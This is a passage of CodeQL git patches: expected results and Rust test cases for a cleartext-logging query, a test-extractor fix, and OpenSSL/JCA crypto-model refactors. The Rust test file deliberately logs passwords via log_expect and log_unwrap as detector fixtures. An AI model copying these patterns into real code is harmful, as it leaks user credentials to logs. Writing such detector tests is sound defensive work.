semmle.label | MacroExpr | +| test_logging.rs:59:24:59:31 | password | semmle.label | password | +| test_logging.rs:61:5:61:54 | ...::log | semmle.label | ...::log | +| test_logging.rs:61:30:61:53 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:61:46:61:53 | password | semmle.label | password | +| test_logging.rs:62:5:62:55 | ...::log | semmle.label | ...::log | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:62:20:62:28 | &password | semmle.label | &password | +| test_logging.rs:62:20:62:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:62:21:62:28 | password | semmle.label | password | +| test_logging.rs:66:5:66:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:66:24:66:47 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:66:40:66:47 | password | semmle.label | password | +| test_logging.rs:68:5:68:66 | ...::log | semmle.label | ...::log | +| test_logging.rs:68:42:68:65 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:68:58:68:65 | password | semmle.label | password | +| test_logging.rs:69:5:69:67 | ...::log | semmle.label | ...::log | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:69:18:69:26 | &password | semmle.label | &password | +| test_logging.rs:69:18:69:26 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:69:19:69:26 | password | semmle.label | password | +| test_logging.rs:73:5:73:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:73:23:73:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:73:39:73:46 | password | semmle.label | password | +| test_logging.rs:75:5:75:65 | ...::log | semmle.label | ...::log | +| test_logging.rs:75:41:75:64 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:75:57:75:64 | password | semmle.label | password | +| test_logging.rs:76:5:76:51 | ...::log | semmle.label | ...::log | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:76:20:76:28 | &password | semmle.label | &password | +| test_logging.rs:76:20:76:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:76:21:76:28 | password | semmle.label | password | +| test_logging.rs:77:5:77:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:77:23:77:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:77:39:77:46 | password | semmle.label | password | +| test_logging.rs:83:5:83:44 | ...::log | semmle.label | ...::log | +| test_logging.rs:83:20:83:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:83:36:83:43 | password | semmle.label | password | +| test_logging.rs:85:5:85:62 | ...::log | semmle.label | ...::log | +| test_logging.rs:85:38:85:61 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:85:54:85:61 | password | semmle.label | password | +| test_logging.rs:86:5:86:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:86:20:86:28 | &password | semmle.label | &password | +| test_logging.rs:86:20:86:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:86:21:86:28 | password | semmle.label | password | +| test_logging.rs:87:5:87:44 | ...::log | semmle.label | ...::log | +| test_logging.rs:87:20:87:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:87:36:87:43 | password | semmle.label | password | +| test_logging.rs:94:9:94:10 | m1 | semmle.label | m1 | +| test_logging.rs:94:14:94:22 | &password | semmle.label | &password | +| test_logging.rs:94:15:94:22 | password | semmle.label | password | +| test_logging.rs:95:5:95:29 | ...::log | semmle.label | ...::log | +| test_logging.rs:95:11:95:28 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:97:9:97:10 | m2 | semmle.label | m2 | +| test_logging.rs:97:41:97:49 | &password | semmle.label | &password | +| test_logging.rs:97:42:97:49 | password | semmle.label | password | +| test_logging.rs:98:5:98:19 | ...::log | semmle.label | ...::log | +| test_logging.rs:98:11:98:18 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:100:9:100:10 | m3 | semmle.label | m3 | +| test_logging.rs:100:14:100:46 | res | semmle.label | res | +| test_logging.rs:100:22:100:45 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:100:22:100:45 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:100:22:100:45 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:100:22:100:45 | { ... } | semmle.label | { ... } | +| test_logging.rs:100:38:100:45 | password | semmle.label | password | +| test_logging.rs:101:5:101:19 | ...::log | semmle.label | ...::log | +| test_logging.rs:101:11:101:18 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:119:5:119:42 | ...::log | semmle.label | ...::log | +| test_logging.rs:119:12:119:41 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:119:28:119:41 | get_password(...) | semmle.label | get_password(...) | +| test_logging.rs:130:9:130:10 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | +| test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | semmle.label | TupleExpr [tuple.1] | +| test_logging.rs:130:25:130:32 | password | semmle.label | password | +| test_logging.rs:132:5:132:32 | ...::log | semmle.label | ...::log | +| test_logging.rs:132:12:132:31 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:132:28:132:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | +| test_logging.rs:132:28:132:31 | t1.1 | semmle.label | t1.1 | +| test_logging.rs:179:5:179:38 | ...::_print | semmle.label | ...::_print | +| test_logging.rs:179:12:179:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:179:30:179:37 | password | semmle.label | password | +| test_logging.rs:180:5:180:38 | ...::_print | semmle.label | ...::_print | +| test_logging.rs:180:14:180:37 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:180:30:180:37 | password | semmle.label | password | +| test_logging.rs:181:5:181:39 | ...::_eprint | semmle.label | ...::_eprint | +| test_logging.rs:181:13:181:38 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:181:31:181:38 | password | semmle.label | password | +| test_logging.rs:182:5:182:39 | ...::_eprint | semmle.label | ...::_eprint | +| test_logging.rs:182:15:182:38 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:182:31:182:38 | password | semmle.label | password | +| test_logging.rs:185:16:185:47 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:185:23:185:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:185:39:185:46 | password | semmle.label | password | +| test_logging.rs:186:16:186:46 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:186:22:186:45 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:186:38:186:45 | password | semmle.label | password | +| test_logging.rs:187:16:187:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:187:31:187:54 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:187:47:187:54 | password | semmle.label | password | +| test_logging.rs:188:16:188:53 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:188:29:188:52 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:188:45:188:52 | password | semmle.label | password | +| test_logging.rs:189:16:189:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:189:31:189:54 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:189:47:189:54 | password | semmle.label | password | +| test_logging.rs:190:16:190:57 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:190:33:190:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:190:33:190:56 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:190:49:190:56 | password | semmle.label | password | +| test_logging.rs:191:16:191:57 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:191:33:191:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:191:33:191:56 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:191:49:191:56 | password | semmle.label | password | +| test_logging.rs:192:16:192:61 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:192:37:192:60 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:192:53:192:60 | password | semmle.label | password | +| test_logging.rs:193:16:193:63 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:193:39:193:62 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:193:39:193:62 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:193:55:193:62 | password | semmle.label | password | +| test_logging.rs:194:17:194:64 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:194:40:194:63 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:194:40:194:63 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:194:56:194:63 | password | semmle.label | password | +| test_logging.rs:195:27:195:32 | expect | semmle.label | expect | +| test_logging.rs:195:34:195:66 | res | semmle.label | res | +| test_logging.rs:195:34:195:75 | ... .as_str() | semmle.label | ... .as_str() | +| test_logging.rs:195:42:195:65 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:195:42:195:65 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:195:42:195:65 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:195:42:195:65 | { ... } | semmle.label | { ... } | +| test_logging.rs:195:58:195:65 | password | semmle.label | password | +| test_logging.rs:201:30:201:34 | write | semmle.label | write | +| test_logging.rs:201:36:201:70 | res | semmle.label | res | +| test_logging.rs:201:36:201:81 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:201:44:201:69 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:201:44:201:69 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:201:44:201:69 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:201:44:201:69 | { ... } | semmle.label | { ... } | +| test_logging.rs:201:62:201:69 | password | semmle.label | password | +| test_logging.rs:202:30:202:38 | write_all | semmle.label | write_all | +| test_logging.rs:202:40:202:74 | res | semmle.label | res | +| test_logging.rs:202:40:202:85 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:202:48:202:73 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:202:48:202:73 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:202:48:202:73 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:202:48:202:73 | { ... } | semmle.label | { ... } | +| test_logging.rs:202:66:202:73 | password | semmle.label | password | +| test_logging.rs:205:9:205:13 | write | semmle.label | write | +| test_logging.rs:205:15:205:49 | res | semmle.label | res | +| test_logging.rs:205:15:205:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:205:23:205:48 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:205:23:205:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:205:23:205:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:205:23:205:48 | { ... } | semmle.label | { ... } | +| test_logging.rs:205:41:205:48 | password | semmle.label | password | +| test_logging.rs:208:9:208:13 | write | semmle.label | write | +| test_logging.rs:208:15:208:49 | res | semmle.label | res | +| test_logging.rs:208:15:208:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:208:23:208:48 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:208:23:208:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:208:23:208:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:208:23:208:48 | { ... } | semmle.label | { ... } | +| test_logging.rs:208:41:208:48 | password | semmle.label | password | subpaths diff --git a/rust/ql/test/query-tests/security/CWE-312/options.yml b/rust/ql/test/query-tests/security/CWE-312/options.yml index 439af840b902..e2329156d6fc 100644 --- a/rust/ql/test/query-tests/security/CWE-312/options.yml +++ b/rust/ql/test/query-tests/security/CWE-312/options.yml @@ -2,3 +2,4 @@ qltest_cargo_check: true qltest_dependencies: - log = { version = "0.4.25", features = ["kv"] } - simple_logger = { version = "5.0.0" } + - log_err = { version = "1.1.1" } diff --git a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs index 529d3ed9a034..852525521000 100644 --- a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs +++ b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs @@ -153,26 +153,26 @@ fn test_log(harmless: String, password: String, encrypted_password: String) { let sensitive_opt: Option = Some(password2.clone()); // log_expect tests with LogErrOption trait - let _ = sensitive_opt.log_expect("Option is None"); // $ Alert[rust/cleartext-logging] + let _ = sensitive_opt.log_expect("Option is None"); // $ MISSING: Alert[rust/cleartext-logging] // log_expect tests with LogErrResult trait let sensitive_result: Result = Ok(password2.clone()); - let _ = sensitive_result.log_expect("Result failed"); // $ Alert[rust/cleartext-logging] + let _ = sensitive_result.log_expect("Result failed"); // $ MISSING: Alert[rust/cleartext-logging] // log_unwrap tests with LogErrOption trait let sensitive_opt2: Option = Some(password2.clone()); - let _ = sensitive_opt2.log_unwrap(); // $ Alert[rust/cleartext-logging] + let _ = sensitive_opt2.log_unwrap(); // $ MISSING: Alert[rust/cleartext-logging] // log_unwrap tests with LogErrResult trait let sensitive_result2: Result = Ok(password2.clone()); - let _ = sensitive_result2.log_unwrap(); // $ Alert[rust/cleartext-logging] + let _ = sensitive_result2.log_unwrap(); // $ MISSING: Alert[rust/cleartext-logging] // Negative cases that should fail and log let none_opt: Option = None; - let _ = none_opt.log_expect(&format!("Failed with password: {}", password2)); // $ Alert[rust/cleartext-logging] + let _ = none_opt.log_expect(&format!("Failed with password: {}", password2)); // $ MISSING: Alert[rust/cleartext-logging] let err_result: Result = Err(password2); - let _ = err_result.log_unwrap(); // $ Alert[rust/cleartext-logging] + let _ = err_result.log_unwrap(); // $ MISSING: Alert[rust/cleartext-logging] } fn test_std(password: String, i: i32, opt_i: Option) { From 799c39bc9b65203b3a3df5a2bb7ffd0609e004ea Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Tue, 20 May 2025 16:30:05 +0200 Subject: [PATCH 242/535] Rust: ignore `target` in `qltest` The target file created by `cargo check` was causing problems in language tests. We might want to also ignore `target` by default in the production indexing, but I'll leave that for further discussion. --- rust/extractor/src/qltest.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/rust/extractor/src/qltest.rs b/rust/extractor/src/qltest.rs index 316ecd0cee4b..de0c36df7845 100644 --- a/rust/extractor/src/qltest.rs +++ b/rust/extractor/src/qltest.rs @@ -54,6 +54,7 @@ path = "main.rs" fn set_sources(config: &mut Config) -> anyhow::Result<()> { let path_iterator = glob("**/*.rs").context("globbing test sources")?; config.inputs = path_iterator + .filter(|f| f.is_err() || !f.as_ref().unwrap().starts_with("target")) .collect::, _>>() .context("fetching test sources")?; Ok(()) From b56472436edd6b1511b5a366ce64c36e346f3677 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Tue, 20 May 2025 09:19:50 -0400 Subject: [PATCH 243/535] Crypto: Alterations to OpenSSL cipher algorithms to use new fixed keysize predicate. --- .../CipherAlgorithmInstance.qll | 7 ++----- java/ql/lib/experimental/quantum/JCA.qll | 6 +++--- .../quantum/codeql/quantum/experimental/Model.qll | 15 ++++++--------- 3 files changed, 11 insertions(+), 17 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll index d76265e1c70e..0e41b50300c8 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll @@ -104,11 +104,8 @@ class KnownOpenSSLCipherConstantAlgorithmInstance extends OpenSSLAlgorithmInstan override string getRawAlgorithmName() { result = this.(Literal).getValue().toString() } - override string getKeySizeFixed() { - exists(int keySize | - this.(KnownOpenSSLCipherAlgorithmConstant).getExplicitKeySize() = keySize and - result = keySize.toString() - ) + override int getKeySizeFixed() { + this.(KnownOpenSSLCipherAlgorithmConstant).getExplicitKeySize() = result } override Crypto::KeyOpAlg::Algorithm getAlgorithmType() { diff --git a/java/ql/lib/experimental/quantum/JCA.qll b/java/ql/lib/experimental/quantum/JCA.qll index 70c65ef581d6..8245abe13c40 100644 --- a/java/ql/lib/experimental/quantum/JCA.qll +++ b/java/ql/lib/experimental/quantum/JCA.qll @@ -353,7 +353,7 @@ module JCAModel { else result instanceof KeyOpAlg::TUnknownKeyOperationAlgorithmType } - override string getKeySizeFixed() { + override int getKeySizeFixed() { none() // TODO: implement to handle variants such as AES-128 } @@ -1104,7 +1104,7 @@ module JCAModel { KeyGeneratorFlowAnalysisImpl::getInitFromUse(this, _, _).getKeySizeArg() = result.asExpr() } - override string getKeySizeFixed() { none() } + override int getKeySizeFixed() { none() } } class KeyGeneratorCipherAlgorithm extends CipherStringLiteralAlgorithmInstance { @@ -1310,7 +1310,7 @@ module JCAModel { result.asExpr() = this.getKeySpecInstantiation().(PBEKeySpecInstantiation).getKeyLengthArg() } - override string getKeySizeFixed() { none() } + override int getKeySizeFixed() { none() } override string getOutputKeySizeFixed() { none() } diff --git a/shared/quantum/codeql/quantum/experimental/Model.qll b/shared/quantum/codeql/quantum/experimental/Model.qll index 8e1e6247484c..5370f72ef47b 100644 --- a/shared/quantum/codeql/quantum/experimental/Model.qll +++ b/shared/quantum/codeql/quantum/experimental/Model.qll @@ -841,7 +841,7 @@ module CryptographyBase Input> { * This will be automatically inferred and applied at the node level. * See `fixedImplicitCipherKeySize`. */ - abstract string getKeySizeFixed(); + abstract int getKeySizeFixed(); /** * Gets a consumer for the key size in bits specified for this algorithm variant. @@ -1044,7 +1044,7 @@ module CryptographyBase Input> { abstract KeyArtifactType getOutputKeyType(); // Defaults or fixed values - string getKeySizeFixed() { none() } + int getKeySizeFixed() { none() } // Consumer input nodes abstract ConsumerInputDataFlowNode getKeySizeConsumer(); @@ -1900,7 +1900,7 @@ module CryptographyBase Input> { or // [ONLY_KNOWN] key = "DefaultKeySize" and - value = kdfInstance.getKeySizeFixed() and + value = kdfInstance.getKeySizeFixed().toString() and location = this.getLocation() or // [ONLY_KNOWN] - TODO: refactor for known unknowns @@ -2259,13 +2259,10 @@ module CryptographyBase Input> { /** * Gets the key size variant of this algorithm in bits, e.g., 128 for "AES-128". */ - string getKeySizeFixed() { + int getKeySizeFixed() { result = instance.asAlg().getKeySizeFixed() or - exists(int size | - KeyOpAlg::fixedImplicitCipherKeySize(instance.asAlg().getAlgorithmType(), size) and - result = size.toString() - ) + KeyOpAlg::fixedImplicitCipherKeySize(instance.asAlg().getAlgorithmType(), result) } /** @@ -2333,7 +2330,7 @@ module CryptographyBase Input> { // [ONLY_KNOWN] key = "KeySize" and ( - value = this.getKeySizeFixed() and + value = this.getKeySizeFixed().toString() and location = this.getLocation() or node_as_property(this.getKeySize(), value, location) From c3ed4549f46c017c4ac751c8bd1577153a2684ad Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Tue, 20 May 2025 09:52:23 -0400 Subject: [PATCH 244/535] Crypto: Changing fixed key size for the key gen operation for EC key gen to be none, and rely implicitly on the connected algorithm length. (+1 squashed commits) (+1 squashed commits) Squashed commits: [b7cd7baa42] Crypto: Modeled EC key gen for openssl. (+1 squashed commits) --- .../EllipticCurveAlgorithmInstance.qll | 7 +- .../OpenSSL/Operations/ECKeyGenOperation.qll | 65 +++++++++++++++++++ .../OpenSSL/Operations/OpenSSLOperations.qll | 1 + 3 files changed, 71 insertions(+), 2 deletions(-) create mode 100644 cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll index d80529dd1c63..574869ca29cd 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll @@ -35,8 +35,11 @@ class KnownOpenSSLEllipticCurveConstantAlgorithmInstance extends OpenSSLAlgorith override string getRawEllipticCurveName() { result = this.(Literal).getValue().toString() } override Crypto::TEllipticCurveType getEllipticCurveType() { - Crypto::ellipticCurveNameToKeySizeAndFamilyMapping(this.(KnownOpenSSLEllipticCurveAlgorithmConstant) - .getNormalizedName(), _, result) + Crypto::ellipticCurveNameToKeySizeAndFamilyMapping(this.getParsedEllipticCurveName(), _, result) + } + + override string getParsedEllipticCurveName() { + result = this.(KnownOpenSSLEllipticCurveAlgorithmConstant).getNormalizedName() } override int getKeySize() { diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll new file mode 100644 index 000000000000..4a28e565d4e6 --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll @@ -0,0 +1,65 @@ +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.LibraryDetector +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import OpenSSLOperationBase +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import semmle.code.cpp.dataflow.new.DataFlow + +private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node source) { + exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) + } + + predicate isSink(DataFlow::Node sink) { + exists(ECKeyGenOperation c | c.getAlgorithmArg() = sink.asExpr()) + } +} + +private module AlgGetterToAlgConsumerFlow = DataFlow::Global; + +class ECKeyGenOperation extends OpenSSLOperation, Crypto::KeyGenerationOperationInstance { + ECKeyGenOperation() { + this.(Call).getTarget().getName() = "EC_KEY_generate_key" and + isPossibleOpenSSLFunction(this.(Call).getTarget()) + } + + override Expr getOutputArg() { + result = this.(Call) // return value of call + } + + Expr getAlgorithmArg() { result = this.(Call).getArgument(0) } + + override Expr getInputArg() { + // there is no 'input', in the sense that no data is being manipualted by the operation. + // There is an input of an algorithm, but that is not the intention of the operation input arg. + none() + } + + override Crypto::KeyArtifactType getOutputKeyType() { result = Crypto::TAsymmetricKeyType() } + + override Crypto::ArtifactOutputDataFlowNode getOutputKeyArtifact() { + result = this.getOutputNode() + } + + override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { + AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), + DataFlow::exprNode(this.getAlgorithmArg())) + } + + override Crypto::ConsumerInputDataFlowNode getKeySizeConsumer() { + none() // no explicit key size, inferred from algorithm + } + + override int getKeySizeFixed() { + none() + // TODO: marked as none as the operation itself has no key size, it + // comes from the algorithm source, but note we could grab the + // algorithm source and get the key size (see below). + // We may need to reconsider what is the best approach here. + // result = + // this.getAnAlgorithmValueConsumer() + // .getAKnownAlgorithmSource() + // .(Crypto::EllipticCurveInstance) + // .getKeySize() + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll index 819e964878c3..f6ff0dd1f077 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperations.qll @@ -1,3 +1,4 @@ import OpenSSLOperationBase import EVPCipherOperation import EVPHashOperation +import ECKeyGenOperation From efd9386d6e09f207ec4ed3971b0d138d5d1c2ab7 Mon Sep 17 00:00:00 2001 From: Ben Rodes Date: Tue, 20 May 2025 10:58:19 -0400 Subject: [PATCH 245/535] Update cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- .../quantum/OpenSSL/Operations/ECKeyGenOperation.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll index 4a28e565d4e6..9dc723bb5d11 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll @@ -30,7 +30,7 @@ class ECKeyGenOperation extends OpenSSLOperation, Crypto::KeyGenerationOperation Expr getAlgorithmArg() { result = this.(Call).getArgument(0) } override Expr getInputArg() { - // there is no 'input', in the sense that no data is being manipualted by the operation. + // there is no 'input', in the sense that no data is being manipulated by the operation. // There is an input of an algorithm, but that is not the intention of the operation input arg. none() } From d35fc64987c2a3bbb8e2ec82111b0b54ab33f3d6 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Tue, 20 May 2025 11:22:53 -0400 Subject: [PATCH 246/535] Crypto: Missing openssl EVP digest consumers. --- .../HashAlgorithmValueConsumer.qll | 31 +++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll index a1c0a214b9af..066f0fa1a3ae 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll @@ -30,3 +30,34 @@ class EVP_Q_Digest_Algorithm_Consumer extends OpenSSLAlgorithmValueConsumer { none() } } + +/** + * EVP digest algorithm getters + * https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis + */ +class EVPDigestAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { + DataFlow::Node valueArgNode; + DataFlow::Node resultNode; + + EVPDigestAlgorithmValueConsumer() { + resultNode.asExpr() = this and + isPossibleOpenSSLFunction(this.(Call).getTarget()) and + ( + this.(Call).getTarget().getName() in [ + "EVP_get_digestbyname", "EVP_get_digestbynid", "EVP_get_digestbyobj" + ] and + valueArgNode.asExpr() = this.(Call).getArgument(0) + or + this.(Call).getTarget().getName() = "EVP_MD_fetch" and + valueArgNode.asExpr() = this.(Call).getArgument(1) + ) + } + + override DataFlow::Node getResultNode() { result = resultNode } + + override Crypto::ConsumerInputDataFlowNode getInputNode() { result = valueArgNode } + + override Crypto::AlgorithmInstance getAKnownAlgorithmSource() { + exists(OpenSSLAlgorithmInstance i | i.getAVC() = this and result = i) + } +} From e5af4597879a46e2a61f8bacffbe6a5f41842b54 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 20 May 2025 16:54:38 +0100 Subject: [PATCH 247/535] Rust: Correct what we're testing here. --- .../CWE-312/CleartextLogging.expected | 344 +++++++++--------- .../security/CWE-312/test_logging.rs | 34 +- 2 files changed, 193 insertions(+), 185 deletions(-) diff --git a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected index b81d85d90274..4d76ae3b5a52 100644 --- a/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected +++ b/rust/ql/test/query-tests/security/CWE-312/CleartextLogging.expected @@ -28,25 +28,25 @@ | test_logging.rs:101:5:101:19 | ...::log | test_logging.rs:100:38:100:45 | password | test_logging.rs:101:5:101:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:100:38:100:45 | password | password | | test_logging.rs:119:5:119:42 